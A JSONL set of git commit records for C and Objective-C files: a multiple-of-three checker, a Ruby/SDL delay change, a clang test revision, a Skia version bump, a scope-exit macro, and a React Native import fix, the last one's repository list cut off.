{"commit":"d10a0d3088b225588fa762e243c0ff200aa64489","old_file":"is_multiple_of_three.c","new_file":"is_multiple_of_three.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\nint is_multiple_of_three(int n) {\n\tint odd_bits_cnt = 0;\n\tint even_bits_cnt = 0;\n\n\tif (n < 0) n = -n;\n\tif (n == 0) return 1;\n\tif (n == 1) return 0;\n\n\twhile (n) {\n\t\tif (n & 0x1) {\n\t\t\todd_bits_cnt++;\n\t\t}\n\n\t\tn >>= 1;\n\n\t\tif (n & 0x1) {\n\t\t\teven_bits_cnt++;\n\t\t}\n\n\t\tn >>= 1;\n\t}\n\n\treturn is_multiple_of_three(abs(odd_bits_cnt - even_bits_cnt));\n}\n\nint main(int argc, char** argv) {\n\n\tprintf(\"Enter a number to test is it multiple of 3: \");\n\tint n = 0;\n\tscanf(\"%d\", &n);\n\tprintf(is_multiple_of_three(n) ? \"true\\n\" : \"false\\n\");\n\n\treturn 0;\n}","subject":"Add function that checks if a given number is multiple of three.","message":"Add function that checks if a given number is multiple of three.\n","lang":"C","license":"apache-2.0","repos":"tisma\/ctorious,tisma\/ctorious"}
{"commit":"f4d429a30824d7b36eebf0aec3fc51a722a4e5c7","old_file":"rubysdl_time.c","new_file":"rubysdl_time.c","old_contents":"\/*\n  Ruby\/SDL   Ruby extension library for SDL\n\n  Copyright (C) 2001-2007 Ohbayashi Ippei\n  \n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library; if not, write to the Free Software\n  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n  *\/\n#include \"rubysdl.h\"\n\nstatic VALUE sdl_getTicks(VALUE mod)\n{\n  return UINT2NUM(SDL_GetTicks());\n}\n\nstatic VALUE delay(void* t)\n{\n  SDL_Delay(*((Uint32*)t));\n  return Qnil;\n}\n\nstatic VALUE sdl_delay(VALUE mod,VALUE ms)\n{\n  Uint32 t = NUM2UINT(ms);\n#ifdef HAVE_RB_THREAD_BLOCKING_REGION\n  rb_thread_blocking_region(delay, &t, RUBY_UBF_IO, NULL);\n#else\n  SDL_Delay(t);\n#endif\n  return Qnil;\n}\n\nvoid rubysdl_init_time(VALUE mSDL)\n{\n  rb_define_module_function(mSDL,\"getTicks\",sdl_getTicks,0);\n  rb_define_module_function(mSDL,\"delay\",sdl_delay,1);\n}\n","new_contents":"\/*\n  Ruby\/SDL   Ruby extension library for SDL\n\n  Copyright (C) 2001-2007 Ohbayashi Ippei\n  \n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library; if not, write to the Free Software\n  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n  *\/\n#include \"rubysdl.h\"\n\nstatic VALUE sdl_getTicks(VALUE mod)\n{\n  return UINT2NUM(SDL_GetTicks());\n}\n\nstatic VALUE sdl_delay(VALUE mod,VALUE ms)\n{\n  Uint32 t = NUM2UINT(ms);\n  SDL_Delay(t);\n  return Qnil;\n}\n\nvoid rubysdl_init_time(VALUE mSDL)\n{\n  rb_define_module_function(mSDL,\"getTicks\",sdl_getTicks,0);\n  rb_define_module_function(mSDL,\"delay\",sdl_delay,1);\n}\n","subject":"Remove rb_thread_blocking_region when SDL_Delay is called.","message":"Remove rb_thread_blocking_region when SDL_Delay is called.\n\nThis means that SDL.delay stops all of Ruby threads now.\n","lang":"C","license":"lgpl-2.1","repos":"ohai\/rubysdl,ohai\/rubysdl,cyndis\/rubysdl,cyndis\/rubysdl,ohai\/rubysdl,cyndis\/rubysdl,cyndis\/rubysdl,ohai\/rubysdl"}
{"commit":"0f2c1ce4661a6d767441b74f0c71f8bf93db91d6","old_file":"test\/CodeGen\/capture-complex-expr-in-block.c","new_file":"test\/CodeGen\/capture-complex-expr-in-block.c","old_contents":"\/\/ RUN: %clang_cc1 %s -emit-llvm -o - -fblocks -triple x86_64-apple-darwin10 | FileCheck %s\n\/\/ rdar:\/\/10033986\n\ntypedef void (^BLOCK)(void);\nint main ()\n{\n    _Complex double c;\n    BLOCK b =  ^() {\n      _Complex double z;\n      z = z + c;\n    };\n    b();\n}\n\n\/\/ CHECK: define internal void @__main_block_invoke_0\n\/\/ CHECK:  [[C1:%.*]] = alloca { double, double }, align 8\n\/\/ CHECK:  [[C1]].realp = getelementptr inbounds { double, double }* [[C1]], i32 0, i32 0\n\/\/ CHECK-NEXT:  [[C1]].real = load double* [[C1]].realp\n\/\/ CHECK-NEXT:  [[C1]].imagp = getelementptr inbounds { double, double }* [[C1]], i32 0, i32 1\n\/\/ CHECK-NEXT:  [[C1]].imag = load double* [[C1]].imagp\n","new_contents":"\/\/ RUN: %clang_cc1 %s -emit-llvm -o - -fblocks -triple x86_64-apple-darwin10 | FileCheck %s\n\/\/ rdar:\/\/10033986\n\ntypedef void (^BLOCK)(void);\nint main ()\n{\n    _Complex double c;\n    BLOCK b =  ^() {\n      _Complex double z;\n      z = z + c;\n    };\n    b();\n}\n\n\/\/ CHECK: define internal void @__main_block_invoke_0\n\/\/ CHECK:  [[C1:%.*]] = alloca { double, double }, align 8\n\/\/ CHECK:  [[RP:%.*]] = getelementptr inbounds { double, double }* [[C1]], i32 0, i32 0\n\/\/ CHECK-NEXT:  [[R:%.*]] = load double* [[RP]]\n\/\/ CHECK-NEXT:  [[IP:%.*]] = getelementptr inbounds { double, double }* [[C1]], i32 0, i32 1\n\/\/ CHECK-NEXT:  [[I:%.*]] = load double* [[IP]]\n","subject":"Revise test and see if it passes with a release-built clang.","message":"Revise test and see if it passes with a release-built clang.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@139043 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"40e25b2e348d18148c57b4551a8989fbc08e7fd1","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 53\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 54\n#endif\n","subject":"Update skia milestone to next","message":"Update skia milestone to next\n\nNo API changes, just moving version fwd.\n\nTBR=reed@google.com\n\nGOLD_TRYBOT_URL= https:\/\/gold.skia.org\/search?issue=2115573002\n\nReview-Url: https:\/\/codereview.chromium.org\/2115573002\n","lang":"C","license":"bsd-3-clause","repos":"Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,rubenvb\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,HalCanary\/skia-hc,google\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,rubenvb\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,google\/skia,rubenvb\/skia,google\/skia,rubenvb\/skia,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,google\/skia,rubenvb\/skia,rubenvb\/skia,rubenvb\/skia"}
{"commit":"3872b7df74d786aec5c54b502eb782e10bb67120","old_file":"include\/nekit\/utils\/auto.h","new_file":"include\/nekit\/utils\/auto.h","old_contents":"","new_contents":"\/\/ Written by Arthur O'Dwyer\n\n#pragma once\n\ntemplate <class Lambda>\nclass AtScopeExit {\n  Lambda& m_lambda;\n\n public:\n  AtScopeExit(Lambda& action) : m_lambda(action) {}\n  ~AtScopeExit() { m_lambda(); }\n};\n\n#define Auto_INTERNAL2(lname, aname, ...) \\\n  auto lname = [&]() { __VA_ARGS__; };    \\\n  AtScopeExit<decltype(lname)> aname(lname);\n\n#define Auto_TOKENPASTE(x, y) Auto_##x##y\n\n#define Auto_INTERNAL1(ctr, ...)                                               \\\n  Auto_INTERNAL2(Auto_TOKENPASTE(func_, ctr), Auto_TOKENPASTE(instance_, ctr), \\\n                 __VA_ARGS__)\n\n#define Auto(...) Auto_INTERNAL1(__COUNTER__, __VA_ARGS__)\n","subject":"Add a very simple finalizer implementation","message":"FEAT: Add a very simple finalizer implementation\n","lang":"C","license":"mit","repos":"zhuhaow\/libnekit,zhuhaow\/libnekit,zhuhaow\/libnekit,zhuhaow\/libnekit"}
{"commit":"20a0bea197188ffa3e7abaffe030305bc63bd9c4","old_file":"Libraries\/PushNotificationIOS\/RCTPushNotificationManager.h","new_file":"Libraries\/PushNotificationIOS\/RCTPushNotificationManager.h","old_contents":"\/**\n * Copyright (c) 2015-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\/\n\n#import <UIKit\/UIKit.h>\n\n#import \"..\/..\/ReactKit\/Base\/RCTBridgeModule.h\"\n\n@interface RCTPushNotificationManager : NSObject <RCTBridgeModule>\n\n- (instancetype)initWithInitialNotification:(NSDictionary *)initialNotification NS_DESIGNATED_INITIALIZER;\n\n+ (void)application:(UIApplication *)application didRegisterUserNotificationSettings:(UIUserNotificationSettings *)notificationSettings;\n+ (void)application:(UIApplication *)application didReceiveRemoteNotification:(NSDictionary *)notification;\n+ (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation;\n\n@end\n","new_contents":"\/**\n * Copyright (c) 2015-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\/\n\n#import <UIKit\/UIKit.h>\n\n#import \"RCTBridgeModule.h\"\n\n@interface RCTPushNotificationManager : NSObject <RCTBridgeModule>\n\n- (instancetype)initWithInitialNotification:(NSDictionary *)initialNotification NS_DESIGNATED_INITIALIZER;\n\n+ (void)application:(UIApplication *)application didRegisterUserNotificationSettings:(UIUserNotificationSettings *)notificationSettings;\n+ (void)application:(UIApplication *)application didReceiveRemoteNotification:(NSDictionary *)notification;\n+ (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation;\n\n@end\n","subject":"Fix build - remove relative import path","message":"Fix build - remove relative import path\n","lang":"C","license":"bsd-3-clause","repos":"skevy\/react-native,bsansouci\/react-native,steben\/react-native,udnisap\/react-native,garrows\/react-native,Lucifer-Kim\/react-native,lzbSun\/react-native,dabit3\/react-native,Andreyco\/react-native,darrylblake\/react-native,DanielMSchmidt\/react-native,christer155\/react-native,zhangxq5012\/react-native,janicduplessis\/react-native,christopherdro\/react-native,Livyli\/react-native,alinz\/react-native,yjyi\/react-native,clozr\/react-native,Shopify\/react-native,cosmith\/react-native,Bhullnatik\/react-native,alpz5566\/react-native,pickhardt\/react-native,esauter5\/react-native,leeyeh\/react-native,chacbumbum\/react-native,hammerandchisel\/react-native,leopardpan\/react-native,mqli\/react-native,rodneyss\/react-native,miracle2k\/react-native,browniefed\/react-native,htc2u\/react-native,hzgnpu\/react-native,peterp\/react-native,Applied-Duality\/react-native,jaggs6\/react-native,boopathi\/react-native,yelled3\/react-native,chnfeeeeeef\/react-native,jeffchienzabinet\/react-native,chetstone\/react-native,Inner89\/react-native,Maxwell2022\/react-native,wangjiangwen\/react-native,htc2u\/react-native,Maxwell2022\/react-native,kassens\/react-native,garrows\/react-native,cosmith\/react-native,nktpro\/react-native,negativetwelve\/react-native,nathanajah\/react-native,lzbSun\/react-native,yusefnapora\/react-native,bright-sparks\/react-native,F2EVarMan\/react-native,jordanbyron\/react-native,bestwpw\/react-native,roth1002\/react-native,Flickster42490\/react-native,popovsh6\/react-native,cmhsu\/react-native,fw1121\/react-native,appersonlabs\/react-native,nickhudkins\/react-native,satya164\/react-native,kotdark\/react-native,lee-my\/react-native,Ehesp\/react-native,devknoll\/react-native,luqin\/react-native,machard\/react-native,tarkus\/react-native-appletv,gegaosong\/react-native,rebeccahughes\/react-native,gabrielbellamy\/react-native,chapinkapa\/react-native,philonpang\/react-native,huangsongyan\/react-native,Bhullnatik\/react-native,ldehai\/react-native,sixtomay\/react-native,stonegithubs\/react-native,pallyoung\/react-native,liufeigit\/react-native,lprhodes\/react-native,timfpark\/react-native,facebook\/react-native,jaredly\/react-native,dralletje\/react-native,lightsofapollo\/react-native,ptmt\/react-native,threepointone\/react-native-1,harrykiselev\/react-native,taydakov\/react-native,FionaWong\/react-native,shinate\/react-native,jackeychens\/react-native,kfiroo\/react-native,naoufal\/react-native,MetSystem\/react-native,lelandrichardson\/react-native,gilesvangruisen\/react-native,sudhirj\/react-native,corbt\/react-native,zuolangguo\/react-native,jasonals\/react-native,monyxie\/react-native,urvashi01\/react-native,bowlofstew\/react-native,code0100fun\/react-native,devknoll\/react-native,wangcan2014\/react-native,alvarojoao\/react-native,wangjiangwen\/react-native,bestwpw\/react-native,qq644531343\/react-native,eduardinni\/react-native,alin23\/react-native,bright-sparks\/react-native,thstarshine\/react-native,noif\/react-native,thotegowda\/react-native,tadeuzagallo\/react-native,ndejesus1227\/react-native,lightsofapollo\/react-native,Bronts\/react-native,fish24k\/react-native,quyixia\/react-native,hydraulic\/react-native,mbrock\/react-native,sahrens\/react-native,quuack\/react-native,RGKzhanglei\/react-native,wenpkpk\/react-native,foghina\/react-native,spyrx7\/react-native,hoangpham95\/react-native,garydonovan\/react-native,hesling\/react-native,Rowandjj\/react-native,cosmith\/react-native,judastree\/react-native,Poplava\/react-native,Iragne\/react-native,ludaye123\/react-native,imjerrybao\/react-native,appersonlabs\/react-native,marlonandrade\/react-native,averted\/react-native,geoffreyfloyd\/react-native,lee-my\/react-native,TChengZ\/react-native,1988fei\/react-native,CntChen\/react-native,gegaosong\/react-native,pletcher\/react-native,MetSystem\/react-native,dimoge\/react-native,leopardpan\/react-native,xxccll\/react-native,JasonZ321\/react-native,codejet\/react-native,stonegithubs\/react-native,ptmt\/react-native-macos,narlian\/react-native,NunoEdgarGub1\/react-native,orenklein\/react-native,threepointone\/react-native-1,pjcabrera\/react-native,lendup\/react-native,DannyvanderJagt\/react-native,NishanthShankar\/react-native,hwsyy\/react-native,brentvatne\/react-native,yamill\/react-native,salanki\/react-native,chrisbutcher\/react-native,pvinis\/react-native-desktop,ludaye123\/react-native,clozr\/react-native,alpz5566\/react-native,WilliamRen\/react-native,lendup\/react-native,kushal\/react-native,gauribhoite\/react-native,jasonnoahchoi\/react-native,YComputer\/react-native,Maxwell2022\/react-native,Furzikov\/react-native,mjetek\/react-native,liuhong1happy\/react-native,glovebx\/react-native,rkumar3147\/react-native,clozr\/react-native,jaggs6\/react-native,janicduplessis\/react-native,frantic\/react-native,neeraj-singh\/react-native,timfpark\/react-native,krock01\/react-native,zhangwei001\/react-native,DanielMSchmidt\/react-native,ludaye123\/react-native,eduvon0220\/react-native,zuolangguo\/react-native,vincentqiu\/react-native,leeyeh\/react-native,ptomasroos\/react-native,gitim\/react-native,gauribhoite\/react-native,elliottsj\/react-native,eliagrady\/react-native,mcrooks88\/react-native,insionng\/react-native,jmhdez\/react-native,dalinaum\/react-native,shinate\/react-native,ronak301\/react-native,Guardiannw\/react-native,srounce\/react-native,chengky\/react-native,wenpkpk\/react-native,JulienThibeaut\/react-native,htc2u\/react-native,Maxwell2022\/react-native,lprhodes\/react-native,ajwhite\/react-native,bistacos\/react-native,naoufal\/react-native,common2015\/react-native,hike2008\/react-native,Esdeath\/react-native,srounce\/react-native,hassanabidpk\/react-native,CodeLinkIO\/react-native,Andreyco\/react-native,jibonpab\/react-native,sheep902\/react-native,jabinwang\/react-native,zvona\/react-native,ehd\/react-native,F2EVarMan\/react-native,rantianhua\/react-native,hanxiaofei\/react-native,honger05\/react-native,chengky\/react-native,threepointone\/react-native-1,rodneyss\/react-native,exponent\/react-native,beni55\/react-native,aaron-goshine\/react-native,bradens\/react-native,sdiaz\/react-native,sixtomay\/react-native,dikaiosune\/react-native,chsj1\/react-native,yangchengwork\/react-native,waynett\/react-native,htc2u\/react-native,yushiwo\/react-native,Inner89\/react-native,skevy\/react-native,wjb12\/react-native,Swaagie\/react-native,Bhullnatik\/react-native,vincentqiu\/react-native,tadeuzagallo\/react-native,makadaw\/react-native,pengleelove\/react-native,simple88\/react-native,Shopify\/react-native,lokilandon\/react-native,ehd\/react-native,ChristianHersevoort\/react-native,jordanbyron\/react-native,Reparadocs\/react-native,pj4533\/react-native,lprhodes\/react-native,zyvas\/react-native,krock01\/react-native,srounce\/react-native,Emilios1995\/react-native,jbaumbach\/react-native,beni55\/react-native,aljs\/react-native,dralletje\/react-native,liangmingjie\/react-native,doochik\/react-native,shlomiatar\/react-native,rantianhua\/react-native,clozr\/react-native,rickbeerendonk\/react-native,jackeychens\/react-native,cdlewis\/react-native,charmingzuo\/react-native,udnisap\/react-native,peterp\/react-native,yimouleng\/react-native,luqin\/react-native,appersonlabs\/react-native,gabrielbellamy\/react-native,mrngoitall\/react-native,brentvatne\/react-native,cazacugmihai\/react-native,andrewljohnson\/react-native,huangsongyan\/react-native,sonnylazuardi\/react-native,tszajna0\/react-native,kamronbatman\/react-native,spicyj\/react-native,mironiasty\/react-native,urvashi01\/react-native,Emilios1995\/react-native,forcedotcom\/react-native,stan229\/react-native,vlrchtlt\/react-native,hammerandchisel\/react-native,nbcnews\/react-native,nickhargreaves\/react-native,CodeLinkIO\/react-native,hayeah\/react-native,sudhirj\/react-native,nathanajah\/react-native,BossKing\/react-native,xiangjuntang\/react-native,skatpgusskat\/react-native,zdsiyan\/react-native,timfpark\/react-native,shinate\/react-native,nevir\/react-native,bogdantmm92\/react-native,Heart2009\/react-native,tgf229\/react-native,chetstone\/react-native,jacobbubu\/react-native,woshili1\/react-native,mihaigiurgeanu\/react-native,thstarshine\/react-native,dut3062796s\/react-native,YinshawnRao\/react-native,lwansbrough\/react-native,rickbeerendonk\/react-native,jmhdez\/react-native,huip\/react-native,xxccll\/react-native,Purii\/react-native,xxccll\/react-native,pallyoung\/react-native,milieu\/react-native,satya164\/react-native,brentvatne\/react-native,adrie4mac\/react-native,Reparadocs\/react-native,johnv315\/react-native,PhilippKrone\/react-native,gs-akhan\/react-native,evilemon\/react-native,skatpgusskat\/react-native,iOSTestApps\/react-native,bestwpw\/react-native,quyixia\/react-native,JulienThibeaut\/react-native,Furzikov\/react-native,pjcabrera\/react-native,doochik\/react-native,sheep902\/react-native,machard\/react-native,kfiroo\/react-native,iodine\/react-native,bowlofstew\/react-native,code0100fun\/react-native,hammerandchisel\/react-native,ldehai\/react-native,jadbox\/react-native,dfala\/react-native,rainkong\/react-native,lucyywang\/react-native,mrspeaker\/react-native,Flickster42490\/react-native,bestwpw\/react-native,liduanw\/react-native,xiayz\/react-native,foghina\/react-native,strwind\/react-native,skatpgusskat\/react-native,imjerrybao\/react-native,makadaw\/react-native,zhangxq5012\/react-native,quyixia\/react-native,nsimmons\/react-native,philikon\/react-native,hesling\/react-native,bright-sparks\/react-native,MattFoley\/react-native,ouyangwenfeng\/react-native,gitim\/react-native,jmstout\/react-native,hanxiaofei\/react-native,hassanabidpk\/react-native,almost\/react-native,JoeStanton\/react-native,billhello\/react-native,lanceharper\/react-native,Flickster42490\/react-native,nathanajah\/react-native,futbalguy\/react-native,mchinyakov\/react-native,tmwoodson\/react-native,qingsong-xu\/react-native,rwwarren\/react-native,HealthyWealthy\/react-native,vagrantinoz\/react-native,judastree\/react-native,MattFoley\/react-native,wesley1001\/react-native,imDangerous\/react-native,negativetwelve\/react-native,bradens\/react-native,imDangerous\/react-native,chentsulin\/react-native,rodneyss\/react-native,dubert\/react-native,yjyi\/react-native,gre\/react-native,mrngoitall\/react-native,josebalius\/react-native,lstNull\/react-native,sospartan\/react-native,pandiaraj44\/react-native,Bronts\/react-native,gitim\/react-native,averted\/react-native,tadeuzagallo\/react-native,Serfenia\/react-native,chirag04\/react-native,evilemon\/react-native,kesha-antonov\/react-native,Bronts\/react-native,cxfeng1\/react-native,zuolangguo\/react-native,cmhsu\/react-native,spyrx7\/react-native,jacobbubu\/react-native,rebeccahughes\/react-native,lwansbrough\/react-native,shlomiatar\/react-native,shrimpy\/react-native,yjyi\/react-native,yangchengwork\/react-native,genome21\/react-native,hzgnpu\/react-native,iOSTestApps\/react-native,krock01\/react-native,liuhong1happy\/react-native,browniefed\/react-native,gilesvangruisen\/react-native,wangjiangwen\/react-native,mosch\/react-native,j27cai\/react-native,nevir\/react-native,alpz5566\/react-native,spyrx7\/react-native,orenklein\/react-native,leopardpan\/react-native,DanielMSchmidt\/react-native,zenlambda\/react-native,ronak301\/react-native,mchinyakov\/react-native,strwind\/react-native,donyu\/react-native,pcottle\/react-native,enaqx\/react-native,urvashi01\/react-native,krock01\/react-native,rollokb\/react-native,hesling\/react-native,shrutic\/react-native,chnfeeeeeef\/react-native,mchinyakov\/react-native,bistacos\/react-native,almost\/react-native,steben\/react-native,supercocoa\/react-native,Guardiannw\/react-native,ajwhite\/react-native,ankitsinghania94\/react-native,garydonovan\/react-native,devknoll\/react-native,YComputer\/react-native,hayeah\/react-native,bradbumbalough\/react-native,michaelchucoder\/react-native,jonesgithub\/react-native,common2015\/react-native,satya164\/react-native,harrykiselev\/react-native,arbesfeld\/react-native,genome21\/react-native,yjh0502\/react-native,tgriesser\/react-native,donyu\/react-native,yamill\/react-native,Furzikov\/react-native,csatf\/react-native,gilesvangruisen\/react-native,ptmt\/react-native-macos,noif\/react-native,puf\/react-native,lee-my\/react-native,richardgill\/react-native,a2\/react-native,bodefuwa\/react-native,ptomasroos\/react-native,adamterlson\/react-native,happypancake\/react-native,pglotov\/react-native,Poplava\/react-native,Purii\/react-native,corbt\/react-native,YotrolZ\/react-native,irisli\/react-native,zhangxq5012\/react-native,huangsongyan\/react-native,wangcan2014\/react-native,foghina\/react-native,abdelouahabb\/react-native,wlrhnh-David\/react-native,jekey\/react-native,adamkrell\/react-native,CodeLinkIO\/react-native,sunblaze\/react-native,PlexChat\/react-native,puf\/react-native,shrutic123\/react-native,pitatensai\/react-native,KJlmfe\/react-native,apprennet\/react-native,Furzikov\/react-native,yutail\/react-native,kotdark\/react-native,lendup\/react-native,browniefed\/react-native,NunoEdgarGub1\/react-native,rodneyss\/react-native,shrutic\/react-native,yamill\/react-native,rushidesai\/react-native,steveleec\/react-native,makadaw\/react-native,alinz\/react-native,clozr\/react-native,enaqx\/react-native,popovsh6\/react-native,sospartan\/react-native,sonnylazuardi\/react-native,lloydho\/react-native,eduvon0220\/react-native,liuzechen\/react-native,DerayGa\/react-native,jevakallio\/react-native,philonpang\/react-native,doochik\/react-native,dylanchann\/react-native,hesling\/react-native,jekey\/react-native,bouk\/react-native,marlonandrade\/react-native,cdlewis\/react-native,vjeux\/react-native,naoufal\/react-native,zuolangguo\/react-native,Lohit9\/react-native,javache\/react-native,yangshangde\/react-native,yjyi\/react-native,ptmt\/react-native-macos,xxccll\/react-native,shlomiatar\/react-native,mway08\/react-native,barakcoh\/react-native,code0100fun\/react-native,patoroco\/react-native,hydraulic\/react-native,johnv315\/react-native,Emilios1995\/react-native,YueRuo\/react-native,abdelouahabb\/react-native,ludaye123\/react-native,Applied-Duality\/react-native,rantianhua\/react-native,miracle2k\/react-native,Intellicode\/react-native,philikon\/react-native,androidgilbert\/react-native,iodine\/react-native,sjchakrav\/react-native,exponent\/react-native,Flickster42490\/react-native,narlian\/react-native,Swaagie\/react-native,mjetek\/react-native,sdiaz\/react-native,kamronbatman\/react-native,pj4533\/react-native,tsjing\/react-native,monyxie\/react-native,jmhdez\/react-native,facebook\/react-native,adrie4mac\/react-native,luqin\/react-native,jackalchen\/react-native,lstNull\/react-native,elliottsj\/react-native,judastree\/react-native,cdlewis\/react-native,doochik\/react-native,leegilon\/react-native,zdsiyan\/react-native,DannyvanderJagt\/react-native,urvashi01\/react-native,formatlos\/react-native,enaqx\/react-native,exponent\/react-native,roy0914\/react-native,BossKing\/react-native,abdelouahabb\/react-native,hassanabidpk\/react-native,jaredly\/react-native,fw1121\/react-native,jadbox\/react-native,dralletje\/react-native,mihaigiurgeanu\/react-native,makadaw\/react-native,dut3062796s\/react-native,arbesfeld\/react-native,ChiMarvine\/react-native,trueblue2704\/react-native,ProjectSeptemberInc\/react-native,satya164\/react-native,clooth\/react-native,booxood\/react-native,zuolangguo\/react-native,cez213\/react-native,facebook\/react-native,Suninus\/react-native,guanghuili\/react-native,HSFGitHub\/react-native,chenbk85\/react-native,carcer\/react-native,nickhudkins\/react-native,Bhullnatik\/react-native,cazacugmihai\/react-native,chetstone\/react-native,aziz-boudi4\/react-native,Heart2009\/react-native,philikon\/react-native,Loke155\/react-native,dylanchann\/react-native,farazs\/react-native,xiayz\/react-native,Furzikov\/react-native,dralletje\/react-native,lstNull\/react-native,mrspeaker\/react-native,javache\/react-native,kujohn\/react-native,kassens\/react-native,beni55\/react-native,philonpang\/react-native,eduvon0220\/react-native,RGKzhanglei\/react-native,nickhargreaves\/react-native,bodefuwa\/react-native,mukesh-kumar1905\/react-native,udnisap\/react-native,lee-my\/react-native,lmorchard\/react-native,farazs\/react-native,xiayz\/react-native,appersonlabs\/react-native,ptmt\/react-native-macos,hengcj\/react-native,leegilon\/react-native,kamronbatman\/react-native,kushal\/react-native,dimoge\/react-native,simple88\/react-native,liufeigit\/react-native,jeffchienzabinet\/react-native,vlrchtlt\/react-native,Intellicode\/react-native,darkrishabh\/react-native,pjcabrera\/react-native,Serfenia\/react-native,HSFGitHub\/react-native,popovsh6\/react-native,pcottle\/react-native,rxb\/react-native,makadaw\/react-native,misakuo\/react-native,j27cai\/react-native,dylanchann\/react-native,jhen0409\/react-native,wangyzyoga\/react-native,Iragne\/react-native,MetSystem\/react-native,MonirAbuHilal\/react-native,tahnok\/react-native,affinityis\/react-native,HealthyWealthy\/react-native,lprhodes\/react-native,hike2008\/react-native,codejet\/react-native,lstNull\/react-native,fish24k\/react-native,dvcrn\/react-native,ramoslin02\/react-native,christer155\/react-native,thstarshine\/react-native,emodeqidao\/react-native,Swaagie\/react-native,liufeigit\/react-native,pjcabrera\/react-native,fengshao0907\/react-native,gitim\/react-native,noif\/react-native,common2015\/react-native,jasonals\/react-native,exponentjs\/react-native,xiayz\/react-native,jasonals\/react-native,levic92\/react-native,oren\/react-native,huangsongyan\/react-native,xinthink\/react-native,common2015\/react-native,udnisap\/react-native,salanki\/react-native,Esdeath\/react-native,yangshangde\/react-native,F2EVarMan\/react-native,misakuo\/react-native,mukesh-kumar1905\/react-native,Inner89\/react-native,MattFoley\/react-native,gs-akhan\/react-native,wjb12\/react-native,farazs\/react-native,21451061\/react-native,jeanblanchard\/react-native,Jonekee\/react-native,gre\/react-native,sonnylazuardi\/react-native,ModusCreateOrg\/react-native,christer155\/react-native,MattFoley\/react-native,abdelouahabb\/react-native,alinz\/react-native,Esdeath\/react-native,onesfreedom\/react-native,mihaigiurgeanu\/react-native,NishanthShankar\/react-native,BossKing\/react-native,kassens\/react-native,udnisap\/react-native,heyjim89\/react-native,jbaumbach\/react-native,wlrhnh-David\/react-native,darrylblake\/react-native,supercocoa\/react-native,common2015\/react-native,jasonnoahchoi\/react-native,ChristopherSalam\/react-native,jeffchienzabinet\/react-native,insionng\/react-native,johnv315\/react-native,codejet\/react-native,hassanabidpk\/react-native,cpunion\/react-native,Srikanth4\/react-native,ndejesus1227\/react-native,Ehesp\/react-native,mironiasty\/react-native,apprennet\/react-native,jackeychens\/react-native,bistacos\/react-native,leegilon\/react-native,BossKing\/react-native,mtford90\/react-native,yzarubin\/react-native,Livyli\/react-native,judastree\/react-native,exponent\/react-native,christopherdro\/react-native,sdiaz\/react-native,fish24k\/react-native,gitim\/react-native,lucyywang\/react-native,sospartan\/react-native,tszajna0\/react-native,kfiroo\/react-native,lelandrichardson\/react-native,machard\/react-native,affinity